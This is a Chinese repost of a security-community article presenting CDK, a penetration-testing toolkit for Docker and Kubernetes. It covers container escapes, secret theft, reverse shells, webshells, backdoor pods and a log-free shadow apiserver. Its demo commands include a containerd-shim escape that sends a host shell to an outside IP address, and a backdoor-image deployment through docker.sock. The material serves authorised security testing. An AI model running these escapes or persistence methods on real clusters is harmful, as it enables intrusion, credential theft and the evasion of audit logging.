前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >404星链计划 | CDK:一款针对容器场景的多功能渗透工具

404星链计划 | CDK:一款针对容器场景的多功能渗透工具

作者头像
Seebug漏洞平台
发布2021-11-17 09:58:31
9850
发布2021-11-17 09:58:31
举报
文章被收录于专栏:Seebug漏洞平台

项目名称:CDK

项目作者:CDK-Team

项目地址:

https://github.com/cdk-team/CDK/

CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。

场景介绍

伴随着容器技术的快速发展,容器安全问题也逐渐成为企业所关注的话题。针对容器场景的渗透测试一方面要求攻击者理解对Docker/K8s以及云服务的原理、特性以及漏洞利用方式;另一方面,攻击者通过业务漏洞(如WEB RCE)攻入容器后往往面对的是一个缩减后的容器环境,缺乏常用的linux命令依赖导致渗透效率不佳。

CDK为安全测试人员提供了golang原生的容器环境渗透能力,主要有以下几点:

  1. 评估容器内部弱点、搜集敏感信息。
  2. 提供多种容器逃逸的漏洞利用方式。
  3. 提供K8s环境的多种持久化、横向移动方式。
  4. 提供原生的进程、网络命令,便于测试者自定义攻击操作。

功能

CDK包括三个功能模块

  1. Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。
  2. Exploit: 提供容器逃逸、持久化、横向移动等利用方式。
  3. Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。
  • Evaluate 模块

用于本地信息收集,寻找可用的逃逸点,使用 --full 参数时会包含本地文件扫描。

类别

检测点

已支持

详细文档

本地信息收集

OS基本信息

link

本地信息收集

可用的Capabilities

link

本地信息收集

可用的Linux命令

link

本地信息收集

挂载情况

link

本地信息收集

网络namespace隔离情况

link

本地信息收集

环境变量

link

本地信息收集

敏感服务

link

本地信息收集

敏感目录及文件

link

本地信息收集

kube-proxy边界绕过(CVE-2020-8558)

link

网络探测

K8s Api-server信息

link

网络探测

K8s Service-account信息

link

网络探测

云厂商Metadata API

link

  • Exploit 模块
执行指定的exp。

类别

功能‍‍‍‍‍

‍‍‍‍‍调用名

已支持

文档

容器逃逸

docker-runc CVE-2019-5736

runc-pwn

容器逃逸

containerd-shim CVE-2020-15257

shim-pwn

link

容器逃逸

docker.sock逃逸PoC(docker-in-docker)

docker-sock-check

link

容器逃逸

docker.sock部署恶意镜像

docker-sock-deploy

link

容器逃逸

挂载逃逸(特权容器)

mount-disk

link

容器逃逸

Cgroup逃逸(特权容器)

mount-cgroup

link

容器逃逸

Procfs目录挂载逃逸

mount-procfs

link

容器逃逸

Ptrace逃逸PoC

check-ptrace

link

容器逃逸

lxcfs cgroup错误配置逃逸

lxcfs-rw

link

容器逃逸

重写Cgroup以访问设备

rewrite-cgroup-devices

link

网络探测

K8s组件探测

service-probe

link

信息收集

检查和获取Istio元信息

istio-check

link

远程控制

反弹shell

reverse-shell

link

信息窃取

扫描AK及API认证凭据

ak-leakage

link

信息窃取

窃取K8s Secrets

k8s-secret-dump

link

信息窃取

窃取K8s Config

k8s-configmap-dump

link

持久化

部署WebShell

webshell-deploy

link

持久化

部署后门Pod

k8s-backdoor-daemonset

link

持久化

部署影子K8s api-server

k8s-shadow-apiserver

link

持久化

K8s MITM攻击(CVE-2020-8554)

k8s-mitm-clusterip

link

持久化

部署K8s CronJob

k8s-cronjob

link

  • Tool 模块

还原部分常用的Linux命令,解决容器环境缩减的问题。

子命令

描述

已支持

文档

nc

TCP隧道

link

ps

获取进程信息

link

ifconfig

获取网络信息

link

vi

文本编辑

link

kcurl

发包到K8s api-server

link

dcurl

发包到Docker HTTP API

ucurl

发包到Docker Unix Socket

link

rcurl

发包到Docker Registry API

probe

IP/端口扫描

link

kproxy

kubectl代理转发

使用方法

下载可执行文件投递到已攻入的容器内部开始测试:

  • https://github.com/cdk-team/CDK/releases/

命令行参数:

代码语言:javascript
复制
Container DucK
Zero-dependency docker/k8s penetration toolkit by <i@cdxy.me>
Find tutorial, configuration and use-case in https://github.com/Xyntax/CDK/wiki

Usage:
  cdk evaluate [--full]
  cdk run (--list | <exploit> [<args>...])
  cdk <tool> [<args>...]

Evaluate:
  cdk evaluate                              Gather information to find weekness inside container.
  cdk evaluate --full                       Enable file scan during information gathering.

Exploit:
  cdk run --list                            List all available exploits.
  cdk run <exploit> [<args>...]             Run single exploit, docs in https://github.com/Xyntax/CDK/wiki

Tool:
  vi <file>                                 Edit files in container like "vi" command.
  ps                                        Show process information like "ps -ef" command.
  nc [options]                              Create TCP tunnel.
  ifconfig                                  Show network information.
  kcurl (get|post) <url> <data>             Make request to K8s api-server.
  ucurl (get|post) <socket> <uri> <data>    Make request to docker unix socket.
  probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000

Options:
  -h --help     Show this help msg.
  -v --version  Show version.

工具演示

  • 评估容器弱点‍‍‍‍‍‍‍‍‍‍‍‍
代码语言:javascript
复制
cdk evaluate --full
  • containerd-shim(CVE-2020-15257)漏洞逃逸

通过共享的net namespace向宿主机的containerd-shim进程发起请求,利用其特性反弹宿主机的shell到远端服务器。

代码语言:javascript
复制
./cdk run shim-pwn 47.104.151.168 111
  • docker.sock漏洞逃逸

通过本地docker.sock向控制宿主机的docker进程,拉取指定的后门镜像并运行,运行过程中镜像将宿主机的根目录/挂载到容器内部的/host目录下,便于通过后门容器修改宿主机本地文件(如crontab)来完成逃逸。

代码语言:javascript
复制
# deploy image from dockerhub
./cdk run docker-sock-deploy /var/run/docker.sock alpine:latest

# deploy image from user image registry
./cdk run docker-sock-deploy registry.cn-shanghai.aliyuncs.com/sandboxed-container/cve-2019-5736:change_root_pwd
  • 部署K8s shadow apiserver

向K8s集群中部署一个shadow apiserver,该apiserver具有和集群中现存的apiserver一致的功能,同时开启了全部K8s管理权限,接受匿名请求且不保存审计日志。便于攻击者无痕迹的管理整个集群以及下发后续渗透行动。

代码语言:javascript
复制
./cdk run k8s-shadow-apiserver default
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-11-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Seebug漏洞平台 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 执行指定的exp。
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档